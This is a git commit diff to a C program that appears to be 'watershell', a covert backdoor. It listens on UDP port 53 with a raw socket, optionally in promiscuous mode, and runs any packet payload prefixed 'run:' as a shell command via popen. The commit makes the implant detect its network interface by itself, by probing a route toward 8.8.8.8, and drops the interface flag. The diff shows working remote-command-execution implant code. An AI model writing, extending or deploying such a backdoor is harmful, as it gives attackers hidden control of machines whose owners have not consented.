now automatically gets the interface

This commit is contained in:
Nicholas O'Brien
2019-04-14 20:19:20 -07:00
parent 3f1fd8dfa7
commit ff698a5695
2 changed files with 68 additions and 17 deletions

View File

@@ -7,18 +7,16 @@
* *
* Version: 1.0 * Version: 1.0
* Created: 07/01/2015 09:10:41 AM * Created: 07/01/2015 09:10:41 AM
* Revision: none * Revision: 04/14/2019 11:19:22 PM
* Compiler: gcc * Compiler: gcc
* *
* Author: Jaime Geiger, jmg2967@rit.edu * Author: Jaime Geiger, jmg2967@rit.edu
* Author: Nicholas O'Brien, ndo9903@rit.edu
* *
* ===================================================================================== * =====================================================================================
*/ */
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */ /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
#ifndef IFACE
#define IFACE "ens33"
#endif
#ifndef PORT #ifndef PORT
#define PORT 53 #define PORT 53
#endif #endif
@@ -49,6 +47,7 @@
#include <netinet/udp.h> #include <netinet/udp.h>
#include <signal.h> #include <signal.h>
#include <stdbool.h> #include <stdbool.h>
#include <ifaddrs.h>
#include "watershell.h" #include "watershell.h"
//these need to be global so that a sigint can close everything up //these need to be global so that a sigint can close everything up
@@ -62,7 +61,7 @@ int main(int argc, char *argv[])
struct sock_fprog filter; struct sock_fprog filter;
char buf[2048]; char buf[2048];
unsigned char *read; unsigned char *read;
char *udpdata, *iface = IFACE; char *udpdata;
struct iphdr *ip; struct iphdr *ip;
struct udphdr *udp; struct udphdr *udp;
unsigned port = PORT; unsigned port = PORT;
@@ -70,15 +69,16 @@ int main(int argc, char *argv[])
//if (fork()) //if (fork())
// exit(1); // exit(1);
char iface[100];
memset(iface, '\0', sizeof(iface));
get_interface_name(iface);
printf("Listening on %s\n", iface);
promisc = PROMISC; promisc = PROMISC;
// command line args // command line args
while ((arg = getopt(argc, argv, "phi:l:")) != -1){ while ((arg = getopt(argc, argv, "phi:l:")) != -1){
switch (arg){ switch (arg){
case 'i':
iface = optarg;
break;
case 'p': case 'p':
if (DEBUG) if (DEBUG)
puts("Running in promisc mode"); puts("Running in promisc mode");
@@ -86,7 +86,7 @@ int main(int argc, char *argv[])
break; break;
case 'h': case 'h':
if (DEBUG) if (DEBUG)
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
return 0; return 0;
break; break;
case 'l': case 'l':
@@ -99,7 +99,7 @@ int main(int argc, char *argv[])
break; break;
case '?': case '?':
if (DEBUG) if (DEBUG)
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
return 1; return 1;
default: default:
abort(); abort();
@@ -165,10 +165,11 @@ int main(int argc, char *argv[])
//run a command if the data is prefixed with run: //run a command if the data is prefixed with run:
if (!strncmp(udpdata, "run:", 4)){ if (!strncmp(udpdata, "run:", 4)){
printf("Doing the thing: %s\n", udpdata);
int out = open("/dev/null", O_WRONLY); int out = open("/dev/null", O_WRONLY);
int err = open("/dev/null", O_WRONLY); int err = open("/dev/null", O_WRONLY);
dup2(out, 0); dup2(out, 0);
dup2(err, 2); dup2(err, 2);
FILE *fd; FILE *fd;
fd = popen(udpdata + 4, "r"); fd = popen(udpdata + 4, "r");
@@ -199,6 +200,55 @@ int main(int argc, char *argv[])
return 0; return 0;
} }
// get interface name dynamically :D
void get_interface_name(char iface[]){
const char* google_dns_server = "8.8.8.8";
int dns_port = 53;
int sock, err;
char buf[32];
char buffer[100];
struct ifaddrs *addrs, *iap;
struct sockaddr_in *sa;
struct sockaddr_in serv;
struct sockaddr_in name;
sock = socket(AF_INET, SOCK_DGRAM, 0);
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr(google_dns_server);
serv.sin_port = htons(dns_port);
err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv));
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);
getifaddrs(&addrs);
for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) {
sa = (struct sockaddr_in *)(iap->ifa_addr);
inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf));
if (!strcmp(p, buf)) {
strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
//interface_name = iap->ifa_name;
break;
}
}
}
freeifaddrs(addrs);
close(sock);
}
//cleanup on SIGINT //cleanup on SIGINT
void sigint(int signum){ void sigint(int signum){
//if promiscuous mode was on, turn it off //if promiscuous mode was on, turn it off

View File

@@ -56,4 +56,5 @@ void send_status(unsigned char *buf, char *payload);
void sigint(int signum); void sigint(int signum);
void ip_checksum(struct iphdr *ip); void ip_checksum(struct iphdr *ip);
void udp_checksum(struct iphdr *ip, unsigned short *payload); void udp_checksum(struct iphdr *ip, unsigned short *payload);
void get_interface_name(char iface[]);
#endif #endif